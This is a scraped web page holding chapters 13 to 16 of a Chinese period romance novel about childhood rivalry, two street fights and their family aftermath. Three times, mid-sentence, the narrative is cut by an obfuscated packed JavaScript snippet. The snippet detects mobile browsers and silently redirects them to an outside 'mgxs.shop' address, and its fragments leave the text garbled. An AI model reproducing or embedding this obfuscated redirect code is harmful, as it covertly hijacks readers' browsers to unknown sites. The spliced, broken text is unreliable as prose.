桥上人来人往很是喧闹,他俩人却默契的都不说话。桥下是湍湍流水,明雪澜看了一眼,默默调整了站姿,从背后虚搂着她。 听见城楼钟声响了三下,古朴沉闷的钟声像水波一样徐徐散开。他仿佛得到了某种救赎,用以缓解他的窘迫。 “要放烟花了。”他像是在自言自语。 辛澜儿应了声。 八道火花沿着灯楼急速往上蹿,最终喷薄而起,砰地一声巨响,绚丽夺目的烟花接连在夜空里炸开,再如流星雨般徐徐坠落,在湖面投下璀璨的残影。空气里弥漫着硝石的气味,闻在鼻腔里有些发苦,然而心是雀跃的,在这个热闹又盛大的节日。 辛澜儿欢呼着,指着绚烂的烟花,对明雪澜兴奋道:“哥哥看,好漂亮呀。” 明雪澜含笑“嗯”了声。他一笑,嘴角小小的梨涡就露了出来。辛澜儿蓦地僵住,鬼使神差地用手指轻轻戳了戳。 他愣住,侧头看她。那张白皙精致的鹅蛋脸离他的呼吸不过一寸,饱满红润的唇,贝齿光洁规整,粉嘟嘟的两腮带着嫩肉,微翘的杏眼熠熠生辉,五彩烟花在她耳后绽放,仿佛在她的鬓角簪了一簇鲜花。 他看得入迷,直到烟火落幕,人群向四面八方散开,他才托起辛澜儿的双腿,小心翼翼把她抱下桥栏,顺手帮她整理衣摆的褶皱,自然而然牵起她的手往桥下走。 任何事情形成习惯便有些理所当然,他和她都没有感到丝毫不妥,直到一双黑色棉靴停在五步开外。 明雪澜抬头去看,靴子的主人双拳紧握,一双饱含危险的凤目死死盯着他,像头暴怒的狮子蓄势以待。 13. 酸溜溜 7 辛澜儿刚开始看见哥哥的时候心里是很雀跃的,她想告诉他今晚的烟花有多漂亮,尤其当河面清晰地倒映出烟花全貌的时候,仿佛整个世界是一个巨大的万花筒,充满彩色的流苏和飘带。 然而她很快发现哥哥的目光全然集中在明雪澜身上,那张脸冷若冰霜,眼神似乎要吃人。 她的脚步逐渐慢下来,一点点挪到哥哥面前,有些讨好地笑:“哥哥,你玩完套圈啦?套到了什么呀?” 辛拂游目光调转去看她,居高临下地睥睨,嘴角浮现出一丝冷嘲,却是冰着脸不说话。 辛澜儿注意到他的右手紧紧攥着一个彩色的兔儿爷泥塑,心中一喜,伸手去拿。辛拂游突然扬起右手,把那兔儿爷泥塑狠狠摔在地上,碎片迸飞,有一小片砸在地上又弹起来,直冲辛澜儿面门。 辛澜儿吓得闭紧眼,身子忍不住往后缩,那碎片擦过她鬓边的碎发重新砸到地上,啪地一声碎成两半。 明雪澜快步走过来,把辛澜儿拉到自己身边,对辛拂游皱眉道:“你这是干什么?我们跟你打过招呼要来看烟花,是你忙着套圈没听见。” 辛拂游冷嗤一声,忽而咬紧了牙,腮边浮肉滚动,那眼里分明冒着火。 只是这样么?明雪澜悄无声息拐走他妹妹是一重罪,亲昵的抱住他妹妹上下桥是一重罪,不顾风化拉扯妹妹的衣服又是一重罪!末了居然还轻车熟路地牵他妹妹的手,而自始至终妹妹都没有抗拒他的行为。 嗬!那是她年纪小不懂事,性情好见人亲切。可明雪澜分明是不守规矩的浪荡子,别以为顶着一张乖巧的俊脸就可以为所欲为,势必叫他知道,今后该怎么规规矩矩做人。 辛拂游抓住明雪澜的衣领,牟足了劲,一拳砸他脸上。 明雪澜没有防备被他打翻在地,半张脸都在发麻,有绵密的刺痛袭来。他伸手揩了下嘴角,果然流血了,正要起身,辛拂游恶虎一样扑过来把他压在身下,一拳接一拳专往他脸上打。 “我说没说过,再碰我妹妹我就剁了你的手!”辛拂游攒足力气,接连打了好几拳才喘着粗气站起来,他抬脚踩住明雪澜的右手,脚后跟左右来回地转,把整个人的重量都压在那双青竹一样修长的手上。 明雪澜痛得发出一声凄厉的惨叫,但他很快就咬紧牙关忍耐,不肯再发出一丁点声响。他想用另一只手推开辛拂游的腿,却发现自己像条濒死的鱼一样,根本使不上力气。 那悲惨的叫声让辛澜儿从吓懵的状态里回过神来,她仿佛受到强烈的刺激,突然“哇”地一声大哭,冲过来拼命踢打辛拂游。 “你放开他!放开他!” 气急了的辛拂游根本听不进去,随手一挥把她推倒。辛澜儿一屁股坐在地上,嘴里还在哭喊:“别打澜哥哥,别打澜哥哥…...” “澜哥哥?”顾氏在桥下已经看了半天热闹。 她今晚也出门了,因张嫂还是不死心想撮合她和辛知远,趁着除夕夜约她去码头闲逛,说是希望她入乡随俗,体会体会灵清的风俗。 两人没占到好位置,在桥下远远看了场烟花,接着张嫂去给小孙子挑选花灯。 顾氏独自站在河边等待,无聊时看见平安桥上似乎有两个小男人起了冲突,个子都不高,力量却很悬殊,挨打的那人自始至终都没能站起来。她咂咂嘴,默默在“男人”面前加上了一个“小”字——小男人。 只是这热闹越看越不对劲,那个倒在地上挨打的小男人的惨叫声真像她儿子啊,可是她的乖儿子才不会跟人起冲突......不过那哇哇大哭的小女孩的声音很熟悉,嗐,小孩儿的声音都一样甜嫩,直到顾氏听见小女孩喊出了“澜哥哥”。 顾氏猛地反应过来,大叫一声,拨开人群飞奔上桥,果然看到了明雪澜的惨状,当即心疼不已,又蓦地燃起怒气,上前薅住动手那人的头发,用尽力气往下拽。 辛拂游吃痛捂住头,只觉得头皮快要飞起来,反应过来后人已经被拖倒在地,脖子被两条腿紧紧锁住。 他骂道:“谁他娘的偷袭老子!是个男人你就放开我,光明正大跟老子打!” 顾氏一听,这混帐东西还骂娘?改用左手揪住他头发,右手啪啪啪扇他嘴。 被人当街打脸,辛拂游感到莫大的屈辱。即使头皮痛到麻木,即使险些变成秃头,他也要爬起来打死扇他脸的那人。 他怒吼一声,忍着巨大的疼痛翻身坐起,挥起拳头就要打,却看见对方是个惊恐的女人,颤抖的手里还紧紧攥着一把他的头发,好像那秀发能赐予她力量似的。 “你!......”辛拂游的气势陡然弱下来。他可不打女人。 顾氏瑟缩着往后挪。 她是真害怕啊,哪怕辛拂游还是一个半大孩子,但她能从他那吃人的眼神和暴怒的表情里看出他的冲动和暴戾。 她腿软到站不起来,却仍颤声道:“你、你不许打我儿子!” 这时一道白影踉跄着冲过来抱住辛拂游的头,两人抱在一起在地上翻滚了几圈,停下来的时候明雪澜正跨坐在辛拂游身上,握紧拳头,要把自己挨的打都还回去。 然而明雪澜的右手使不上劲,仅靠左手的力量很快就被辛拂游反制,一黑一白扭打在一起,一会你在上面,一会我在上面,打得难舍难分。 辛澜儿被吓坏了,只能坐在地上号啕大哭,顾氏也插不进去手。恰好这时张嫂拎着花灯寻来,见此场景不禁瞪大了眼睛——全是老熟人呐,都不知道该先去帮谁。 张嫂先把辛澜儿扶起来,接着往围观的人群里喊:“你们是死的啊,还不快去拉架!” 张嫂是媒婆,不少人认识她,闻言赶紧涌上前,好不容易才把明雪澜和辛拂游拉开。 明雪澜气喘吁吁的坐在地上,辛拂游粗喘着站起来,两个人都形容狼狈,脸上皆挂了彩。 辛拂游看向明雪澜的眼神依旧恶狠狠的,心想这死东西知道自己打不过他,就想办法拧他的肉掐他的皮,真是小人作派! 张嫂被他的眼神骇住,生怕他脾气上来再次打人,连忙叫上两个成年男人把明雪澜送到济元堂治伤,又小心翼翼凑到辛拂游身边,颤巍巍道:“那个……游哥儿,你的头发……你也去瞧瞧吧。” 一行人浩浩荡荡拍响了济元堂的大门。 动静闹那么大,早就有人报给了辛知远。小兔崽子刚回来没多久就给他惹事,辛知远一路骂骂咧咧,火急火燎赶去济元堂。 堂中众人皆蔫头耷脑,垂头丧气,看见辛知远就仿佛在黑夜里看到一盏明灯,辛澜儿更是飞奔过来抱住爹爹的大腿哇哇大哭,唯独辛拂游心虚的别过头。 辛知远抱住女儿轻声安慰,眼睛却冷厉的看向辛拂游,看了好一会儿,那眼神直压得辛拂游快要喘不过气,他才冷脸道:“跟我过来。” 辛拂游不情不愿的站起来。 辛知远把辛澜儿交给张嫂帮忙照看,自己则拽着辛拂游的胳膊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585163|205208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快步绕到屏风后面看望明雪澜。 这一看可不得了!说句心里话,他真的没认出来那张紫红交加的脸会是明雪澜的。素日衣衫整洁、光风霁月的明小郎君此刻正闭着眼睛躺在藤椅上嘶嘶喘气,垂落的碎发和干涸的血迹黏在一起,小小的脸上没一块好皮,好像刚从战场浴血厮杀回来。 顾氏坐在藤椅旁,一边小心翼翼地给明雪澜清洗伤口,一边心疼得抹眼泪,却也只敢呜呜咽咽的哭。 方德清也在,他正在给明雪澜的右手缠绷带,看见辛知远过来,顶起下巴引他去瞧明雪澜的手,又递给他一个好自为之的眼神。 辛知远的脑袋嗡的一声炸了。那可是写字的手!现今科举的考核标准包含“身言书判”,要求应试者体貌丰伟、言辞辩证、楷法遒美,文理优长。辛拂游倒好,打了人家的脸,又毁了人家的手,真真要把他气死! 辛知远只好赶紧赔不是:“澜哥儿,顾娘子,真是对不住,对不住……是我没管教好孩子,那个…哦…澜哥儿治伤养伤的费用都由我来出,还有补品,补品也由我来负责。” 又把辛拂游扯到前面,摁着他的头道:“你赶快给我道歉。” “道什么歉道歉!” 辛拂游像头倔驴一样难按,扯着嗓子嚷:“他没打我么?啊?他没打我么?”他指着自己的头,“你看我这是不是少了一把头发,还有我的嘴,都快肿成香肠了你看不见?都是他们母子俩干的好事!怎么,谁伤的重谁就有理了?还不是怪他自己没本事打不过我!” 一连串的话让顾氏气狠了,站起来指着辛拂游怒斥道:“难道不是你先动的手?澜哥儿长那么大从来没跟人争执过,你不打他,他怎么会打你?” “是我先动的手怎么了?”辛拂游扬起下巴道,“还不是因为他趁我不在抱我妹妹,牵我妹妹的手,还摸我妹妹的衣服。他多大的人了,还要不要脸!我不打他打谁?” 顾氏大声道:“那是澜哥儿在照顾妹妹,怎么到你嘴里就那么不堪,不过是两个孩子。” “嘁!还孩子呢?“辛拂游嗤道,“嗯…我妹妹确实还是孩子,可你儿子十二岁了,再过两三年都能给你生个孙子出来了,还当他小呢?真是笑话!” “你!……”顾氏又气又委屈,半天说不出来话,只能趴在明雪澜身上埋头大哭。 “到底怎么回事?”辛知远已经听懵了,“怎么又牵扯到了你妹妹?不行,今儿就要把话说清楚。”朝着屏风外面喊,“澜儿,你过来。” 辛澜儿脸上还挂着泪,怯生生地走过来。 辛知远蹲下来温声道:“别怕,澜儿,跟爹爹说说怎么回事?” “呜……呜呜呜……”辛澜儿的眼泪顿时哗啦啦往下掉,“哥哥…哥哥在玩套圈没空理我,我就拉着澜哥哥一起去看烟花,我…我太矮了看不见,求澜哥哥把我抱到桥栏上面坐着,被哥哥看到了,他…他就打澜哥哥。” “嘿!”辛拂游瞪大眼,“我怎么感觉你哪里说的不对呢?”可惜脑袋不太好使,想不出来具体是哪儿不对。 “这么说,是误会?”辛知远正色道,“澜儿,不要骗爹爹,真的是你要澜哥哥抱你到桥上的么?” “嗯。”辛澜儿点头,咽了口唾沫继续哭,“都是我的错,他们是因为我才打起来的。” 她小跑到明雪澜面前,握住他的胳膊哭道:“澜哥哥,我哥哥不是故意的,我替他向你道歉,你能不能别生他的气?” 14. 酸溜溜 8 明雪澜虽然清瘦,但身体素质极好,从小到大几乎不生病,可这次他觉得全身上下每一寸皮肤都在灼烧。 他的右手不能弯曲,这让他愈加烦躁。身旁的人吵得水深火热,他只关心自己的手什么时候能彻底好起来,会不会耽误写字。 辛澜儿把他摇醒,用水汪汪的大眼睛请求他的原谅:“澜哥哥,以后我照顾你,一定会让你的手快点好起来,你别生气好不好?别不跟我玩。” 明雪澜只是看着她。因为脸上都是伤,看不出来什么表情。 她以为他不同意,又用小手轻轻触摸他受伤的脸庞,嘴巴凑过去:“呼~呼~澜儿给你吹一吹就不痛了。” 明雪澜突然发出一声闷笑,嘴角有上扬的弧度。 他几乎就要说他不会生气,不料辛拂游一把将辛澜儿扯到身边,怒道:“别想打我妹妹的主意!我一人做事一人当,你到底想怎么样?给个准话!” 明雪澜当时就冷下脸。他最讨厌辛拂游这副死猪不怕开水烫的样子,好似全天下的人都活该被他打,理所当然供他发泄,打完了自然有人给他擦屁股,说小孩子不懂事、他脾气本来就不好,而你不该招惹他云云。 明雪澜撑着身子想坐起来,辛澜儿殷勤来扶他,又让辛拂游气得咬牙切齿,骂妹妹没出息。 明雪澜接连喘了好几口粗气,眸色深深,睇着辛拂游道:“我想怎么样?你当街无故打人,致人重伤出血,按律,自然是要将你扭送官府,杖二十。” 此言一出,众人皆惊,并非因为担心十二岁的孩子受杖二十之后还有没有命在,而是觉得邻里邻亲,实在没有必要闹到官府去,再说官府也不管小孩儿打架,除非闹出人命或致残。 辛拂衣显然也是这样想的。他一向有恃无恐,一方面是性格使然,从谁哪里受了气就要从那人身上加倍讨回来,凡事只要他心里舒坦,至于要承受什么后果,他没想过,也不在乎。 另一方面,他知道辛知远一定会想办法替他收拾残局,包括低头哈腰地道歉,使银子买礼品。就算最后闹上公堂,辛知远也会去求巷子里关伯伯的儿子帮忙,让他免于责罚。 岂料这次辛知远并没有着急维护辛拂游,也许他也觉得自家儿子需要因为滥用武力而得到相应的教训,更何况这次辛拂游差点儿毁了一个前途明朗的读书人宝贵的右手。 辛知远想了想方道:“这事实在是游哥儿太冲动才酿成的错,只是他尚未成年,官府的人最多说他两句,他脸皮厚,再难听的话也不能让他长记性。” 他剜了一眼辛拂游,接着道:“不如这样,官府在召集百姓去西麓山下开荒,谁开的地就是谁的,我让游哥儿去五天,开出来的地当作赔礼给你们,澜哥儿看病养伤的银子也由我来出。澜哥儿,顾娘子,你们觉得如何?” 也就是让辛拂游去做五天的苦力。 开荒地有官兵巡逻监督,倒不必担心辛拂游躲懒,但也别指望他能开出多少地就是了。 不过辛家做到这个份上已经很有诚意,顾氏还承着辛知远的情,不愿把局面搞得太僵,自然没有不同意的道理。 顾氏看了眼明雪澜,母子俩无声交换了眼神,有些话需要顾氏来说。 “孩子们有矛盾再正常不过,凡事有商量,说开了也就好了。只希望游哥儿下次千万别动手,澜哥儿他打不过你的,且他还要科考,万不能在形容上出问题。” “顾娘子放心。”辛知远道,“有我在,绝不会再让他对澜哥儿动手。” 他说罢看向辛拂游。辛拂游迫于父亲的眼神威压,不耐地道:“知道了。” 顾氏这才放心,抹了眼泪道:“游哥儿还在长身体,五日有些久了,还是三日吧。” “行,都成。”辛知远道。 本以为事情到此就结束了,没成想明雪澜突然开口:“今日的结果,澜儿妹妹帮忙做个见证好不好?” 辛澜儿认真道:“好,要是我哥哥不遵守约定,澜儿以后就把你当亲哥哥,再也不理他了。” 辛拂游觉得自己的拳头又痒了,十分想揍人。 一行人各自回家,当天夜里,睡得正香的辛知远被女儿的哭声惊醒,连忙披衣下床,穿过堂屋走到女儿床前。 辛澜儿做了噩梦,梦里是灰白色的,辛拂游把明雪澜打成一摊烂肉,露出森白的骨头,鲜血混着肉渣喷洒在她脸上,地上大片大片的血迹像河流一样潺潺流淌,仿佛流不到尽头。眼前的画面在不停晃动,她却无法动弹,只能呜呜地哭。她哭得越来越厉害,一双温柔的手从背后轻轻托起她。 “澜儿,没事…喔…没事,爹爹在呢。” 她被那双手搂在怀里轻轻摇晃,一如在襁褓时那样,温暖的手掌一下又一下拍着她的背,轻柔地拭去她额头上的薄汗,在上面印下云朵般绵密柔软的亲吻。她渐渐平静下来,放肆的哭声转为抽噎,最后抓着那双手沉沉睡去。 大年初一应该早起放鞭炮,贴窗花对联,去庙里烧香拜佛。然而辛拂游睡饱了起床,站在院子里伸了个大大的懒腰,才发现家里安静得出奇。 他趴在辛知远房间的窗户上往里看,发现他一向勤快的好爹爹正背对着窗打呼噜。他撇撇嘴,转而去趴辛澜儿的窗户,笑嘻嘻道:“澜儿,快起来,哥哥给你压岁钱。” 辛澜儿的头埋在被褥里,露出来的一点小脸蛋红扑扑的,呼吸粗重。 辛拂游又喊了几声,辛澜儿依旧没有反应。他察觉到不对,快步走到妹妹床前,抬手摸她额头,简直像烧红了的铁钳一样滚烫。 辛拂游连忙把她摇醒,又跑去喊辛知远。 没成想辛知远也病了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585164|205208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他昨晚整宿照看辛澜儿,中途没撑住趴在床边睡了会儿,醒来就觉得脑袋昏沉,是风寒入体的表现。 辛拂游只能去济元堂买了两个人的药,在厨房煎药的时候,回想起妹妹窝在爹爹怀里,哭着说她难受的样子,他心想,这世上要是有吃一粒就立刻见效的退烧丸就好了。 辛澜儿在床上躺了三天,病刚好就跑去看明雪澜,每日搬个小杌子坐在他脚边,一边嚼着小零嘴,一边兴冲冲陪他聊天说笑,有时带来时兴的小玩具,有时也把辛知远珍藏多年的孤本偷出来给明雪澜看。 春寒料峭,小小的屋子里却总是欢声笑语,日子并不难捱。 书院开课的时候,明雪澜因养伤未去。倒是赵洁按捺不住,摸索着寻到家里来。 桌边坐着一个冰雪可爱的女娃娃,见他进来,眸光一闪,笑吟吟又脆生生地喊了句“哥哥”。 赵洁一愣,问明雪澜:“这是你妹妹?” 明雪澜道:“是对面辛夫子的女儿。” “哦。”赵洁凑近了,好奇打量明雪澜青紫的脸,笑道:“你这是…被狗咬了?” 明雪澜挑眉,嘴角浮笑道:“与恶狗缠斗,大败而归。” 赵洁大笑。 辛澜儿凑过来,不解地问:“你们是在说我哥哥么?” 明雪澜掩嘴清咳,道:“不是。” 辛澜儿闻言歪起脑袋,好奇地看他。 赵洁见她秀眉微拧,脸颊红润丰美,心里大呼可爱,忍不住戳了戳她微微鼓起的左腮。 辛澜儿立刻把头摆正,瞪着圆溜溜的大眼睛,叉腰蹙眉:“这位哥哥你做什么?” “啊…失礼失礼。”赵洁连忙起身作揖,而后看向明雪澜求救。 明雪澜也很惊讶,他没有想到辛澜儿在目睹除夕夜那场堪称惨烈的斗殴之后居然真的懂得不让小郎君碰自己了。 然而下一瞬他就看见辛澜儿拉着赵洁的胳膊让他坐下,然后伸出小手覆上赵洁的脸颊。 她脸上难忍笑意:“我要摸回来。” 几下揉捏过后,另一只小手也覆了上来。辛澜儿捧着赵洁的脸道:“哥哥,你长得好漂亮呀。” 这话听起来耳熟,她又是那套眼神发亮,口水快要流下来的样子。明雪澜这时突然体会到了辛拂游的感受,丝毫没有意识到自己的表情已经瞬间垮掉。他盯着她,有些警告的意味:“澜儿。” 辛澜儿心虚地缩回手,扬起脸嘿嘿笑。 赵洁倒是不在意,又和明雪澜说了会儿话,见窗外斜阳已至,起身告别。 辛澜儿非要和他一起出门。热闹倏地散去,留下明雪澜孤零零倚在窗边。 默坐半晌,他突然拿起桌上的小铜镜,左看看右看看,上看看下看看,很是沉重地叹了口气。 还漂亮么? 15. 酸溜溜 9 辛拂游年后去西麓山开荒三日,人是一点力气都不愿意多使,只开出来两分地,贱卖都没人买。 辛知远只好自己掏腰包,按市价把那两分地换成钱,连同给明雪澜买的补品一起给了顾氏。 不得不说济元堂特制的琥珀膏堪称镇堂之宝,明雪澜的右手已经完全康复,脸上的淤青也淡了许多,至少看起来不会让人大吃一惊了。 他这次去书院,有相熟的同窗过来关切询问,明雪澜的回答一如既往:“有恶狗伤人,在家养伤。” 同窗大吃一惊,表情带着震撼又带着些许难以置信,大退一步揖手道:“大难不死,必有后福啊,明兄!” 明雪澜云淡风轻地笑笑。 书院每年开春都会举办一场小考,学子们需要撰写一篇八股文和一首五言六韵的试帖诗。明雪澜有宋老先生耳提面命的教导,自身又勤勉刻苦,一文一诗均得了甲等,其中那首《西麓山记》更是让众夫子赞不绝口,就连宋老先生也拿在手里来回看了好几遍。 宋山长也早已注意到这个沉稳有才的少年郎,又从辛知远那里得知明雪澜家中只有一个寡母,既有惜才之情也有帮衬之意,将那首《西麓山记》拿到相熟的书坊,第二天就有一串铜板放到明雪澜面前。 明雪澜许久才回过神,连忙塞回宋山长手里,当作山长认可他的谢礼。 宋山长自然不要,将铜钱推回去,笑道:“这钱是你应得的。我只是拿去集贤堂碰碰运气,没想到秦老板特别中意你的诗作,当场就给了我五十文,还说以后你若有好文章还可以送去。” 明雪澜讶然:“秦老板为何买这些诗作?” 宋山长道:“写扇面,用作唱本或时调......总有用处。” 明雪澜试想了一下那画面——不久后灵清城的大街小巷都在吟唱他的诗作,他日自己高中状元,城里到处流传着《明雪澜文集》,复刻本一面世便万人哄抢,原稿更是千金难求。只是想一想,那滋味就像喝了仙人酿的香醇美酒,飘飘欲仙了。 他心里这样愉快地想着,面上可一点儿都看不出来。 然而宋山长又道:“还有一件事我要与你说明,这些诗作卖掉以后就不能再署你的名,你若是介意,我去把诗要回来。” 明雪澜原本雀跃的心顿时凉了半截。 功名功名,功业和名声。 明雪澜两者都想要,不过很快他就想明白了。 他如今已知道柴米油盐贵,读再多书最终还是要考虑他们母子俩如何长久的生存。 话说前不久张嫂带着顾氏一起帮人说媒,原是个好活计,只是顾氏美貌太盛,竟有不少求亲人直言要娶顾氏回家做妾,言语轻浮,动作挑逗,其中不乏六七十岁的糟老头子。 顾氏回家趴在床上哭了半宿,明雪澜怎么问她都不肯说实话,全是后来明雪澜从张嫂那里问出来的。 经此一事,明雪澜只让顾氏好好在家待着,是以养家的重担如今全在明雪澜身上。 只要能赚银子,他甘愿舍弃一些东西。更何况日子还长,想要的东西都可以徐徐图之。 明雪澜从书院回来的时候,辛澜儿正和顾氏打理院子里的蔬果花草,见他回来,辛澜儿拍干净手上的土追着他问:“洁哥哥怎么不来了?” “……赵洁?”明雪澜愣了愣才明白她说的是谁,遂敷衍过去,“他不好出门。” 辛澜儿挠挠头,又问:“那他平时都去哪儿?书院么?” 明雪澜没多想回了句“是”。 辛澜儿高兴道:“那哥哥明日带我去书院找他吧。” 明雪澜有些意外:“你想见他?” “是啊。”辛澜儿很是惆怅地叹了口气,“我好久没见他,有点想他了。” “......”明雪澜眼皮猛跳,无语凝噎,心想小女孩的想法真是奇奇怪怪,只见过一面的人从何谈起“想念”二字。 他施施然坐下,慢饮一口温热茶水,事不关己的模样:“我在书院念了大半年的书,都不曾见妹妹去寻我,难道我不值得妹妹多走那一里路么?” “嗯?”辛澜儿歪着头,乌黑溜圆的大眼睛里满是茫然,“可我在家里就能见到哥哥,为何还要跑去书院呢?” 明雪澜举着茶杯的手悬在半空中,不知说什么才好,便三言两语糊弄过去,说以后有机会一定带她去书院。 不成想没等到所谓的“机会”,却等来了气急败坏的辛拂游。 “谁是赵姐?”他不知道从哪个犄角旮旯里蹿出来拦住明雪澜,开口便问。 明雪澜疑惑地看他。 “问你呢,谁叫赵姐?” “不认识。”明雪澜丢下三个字就要走。 辛拂游长腿一伸挡在他身前,道:“澜儿这几天缠着我爹要去书院找赵姐,我爹说书院没这号人,她不信,非要亲眼看看才甘心。” 说着说着臭脾气不受控制的爆发,声音陡然大起来:“死娘娘腔!起个名字叫赵姐,他怎么不叫赵姨,叫赵奶?!” 明雪澜这才向他投去冷冷的一眼,心里愈发觉得跟他说半个字都嫌多,拨他到一旁,冷脸走开。 辛拂游在身后扬声道:“要是澜儿再来问你,你就说那什么赵姐已经不念书了,你也不知道他去哪儿了,听见没有?” 明雪澜不接他的话,他又哼了一声,嚷道:“你以为你不说我就查不出来了么?” 第二天明雪澜就在书院见到了辛拂游,海清书院的天青色学子服穿在他身上不太合身,估计是许久没来书院,没有来得及领取今年的新衣裳。 辛拂游进不了明雪澜所在的甲字堂,在不同的小院里念书按理说是见不到的,但辛拂游在书院里有几个狐朋狗友,都是夫子戒尺下的常客,迟到早退,逃课罢读是常有的事。 几个人轮番盯着明雪澜的一举一动,害得他一连几天都不敢去藏书阁。 辛拂游久久抓不到赵洁,颇有些意兴阑珊,便脱下学子服,一头扎进济元堂继续当药童。 可是明雪澜知道书院那几个同窗还在背地里盯着他,因此他只能每天按时按点回家,吃过饭再悄悄从北巷口绕到马道街上,右拐两次到达一条狭窄僻静的小巷。 巷子两边是商铺的后墙或后门,藏书阁的后门就在这条小巷的尽头,赵洁平日想要逛大街就是从这里进出。 最初几次无事发生,直到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585165|205208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有天晚上赵洁送明雪澜出门,两人站在门外说话,突然听到左前方的墙头上传来窸窸窣窣的声响。 赵洁抬眼看去,天上乌云半遮月,依稀可见月下墙头上蹲着一排黑影。 “谁!”赵洁指着墙头大喊。 明雪澜回头,见四个黑影从墙上跳下来。领头那人个子最高,背挺得笔直,大摇大摆走过来,路过明雪澜时手臂一伸把他推到一旁。 明雪澜踉跄中抓住他的胳膊,沉声道:“辛拂游,你要做什么?” 辛拂游不看他也不接他的话,甩开他的手,径直走到赵洁面前,然后从怀里摸出火折子,俯下身近距离一寸寸观摩赵洁的眉眼,半晌后道:“嗯…果然是娘娘腔。” 赵洁因为长得漂亮,经常被认成小女娘,他对此可谓是深恶痛绝,气得一脚踹辛拂游腿上,怒道:“你才是娘娘腔!” 乌漆墨黑的夜,那一脚踹得不是位置,擦着辛拂游的命根子过去。他浑身一阵痛麻,直等着那股要命的痛劲过去,他的脑袋立刻就炸了,当场摔了火折子一拳砸下去。 几个狐朋狗友见状,纷纷挺着胸膛围上来,两三下就把赵洁摁在地上,一边打一边嘴里不清不楚的骂着。 这场殴打来得风驰电掣,赵洁和明雪澜都没有反应过来。明雪澜几乎要被辛拂游说打就打的土匪流氓作派气得胸腔快要炸裂,赶紧冲上去拉架。 可惜他在武力上并不是一把好手,夜黑风高也看不清谁是谁,只能专挑人群里打得最厉害的那人。 “啊!” 辛拂游一声惨叫,捂住脑袋从人群里退出来,疼得呲牙咧嘴,大骂道:“明雪澜!你再薅我头发试试?” 那几个书院同窗听见声音,丢下瘫在地上的赵洁跑过来帮忙。但明雪澜前不久写的那首《西麓山记》被灵清城的学子们争相传阅,他本人又颇受山长和夫子们的器重,同窗们都不敢对他动手,在旁边急得像热锅上的蚂蚁,好声好气劝他赶紧松开辛拂游的头发。 明雪澜知道自己要是松手,保准会被辛拂游立刻报复回来。他攥紧辛拂游的头发,急声道:“你先答应我,不能再对赵洁动手,不然让你爹知道你打了他,你肯定吃不了兜着走,我这是为你好。” “放你娘的屁!”辛拂游气狠了,抱着不要头发的决心,发誓就算他变成光头秃驴也要弄死明雪澜。 他大叫一声掐住明雪澜的腰,头死死抵住他的肚腹,攒足了力气向前猛冲。 明雪澜哪禁得住他拼了命使出的蛮力,被逼得连连后退,终于踉跄着倒在地上,后脑不幸磕在几块硬邦邦的石子儿上,顿时两眼发黑,无力地松开手。 辛拂游的拳头紧接着就落在他脸上,那狠劲儿让人看了不寒而栗。 几个同窗生怕闹出人命,手忙脚乱涌上去要把辛拂游拉走。是以谁都没注意到身后躺在血泊里的赵洁正跟醉汉似的晃晃悠悠站起来。 他从墙角的草丛里抄起半块青砖,“咚——”地一声砸在辛拂游的后脑勺上。 这下场面更乱了,都是十二三岁舍得使力气的半大小子,拳脚就像战场上的箭矢飞得哪里都是,你打我骂,你骂我打,动静大到引出了书院里面的贵人。 16. 酸溜溜 10 “都给我停下!你们都是谁家的孩子?” 宋老先生久久不见赵洁回来,披衣来找,见到的就是这样乱哄哄的斗殴场面。 他大半辈子受人尊敬,又是天子帝师、两朝重臣,一开口就像手持戒尺要抽人手掌心的夫子,不怒自威。那几个经常挨打的书院学子对这种声音再熟悉不过,来不及多想,拉起辛拂游,猫着腰就往巷子外跑。 慌乱中不知有谁撞倒了宋老先生,连带着一群人全都栽了跟头。 一队夜巡的衙役打着哈欠路过巷子口,看见几个贼头贼脑的人影乱叫逃窜,当即将人拿下,连宋老先生都被押入了州署大牢。 衙役问清楚情况,深夜往各家报信。辛知远、辛澜儿、顾氏、宋山长,还有那几个书院同窗的家人都从香甜的被窝里爬出来,陆陆续续赶往州署。 宋山长在州署大门遇见辛知远,黑着脸道:“你家那个混账儿子可闯大祸了,他打的人里有我大伯!” 辛知远嘴唇颤抖:“宋、宋老先生?” “除了他我还有哪个大伯?” 辛知远眼前一黑又一黑,差点没站稳。 辛澜儿连忙扶住他,担忧地道:“爹爹……” “没事,没事……”辛知远手扶额头,尽力稳住身形。 他年初染了一场风寒,居然断断续续养了一个月才好,期间又引发了咳疾,直到现在还偶尔觉得喘不上来气。 这会儿他觉得自己快要旧病重犯了,辛拂游那个混账小子,难不成真想把他气死? 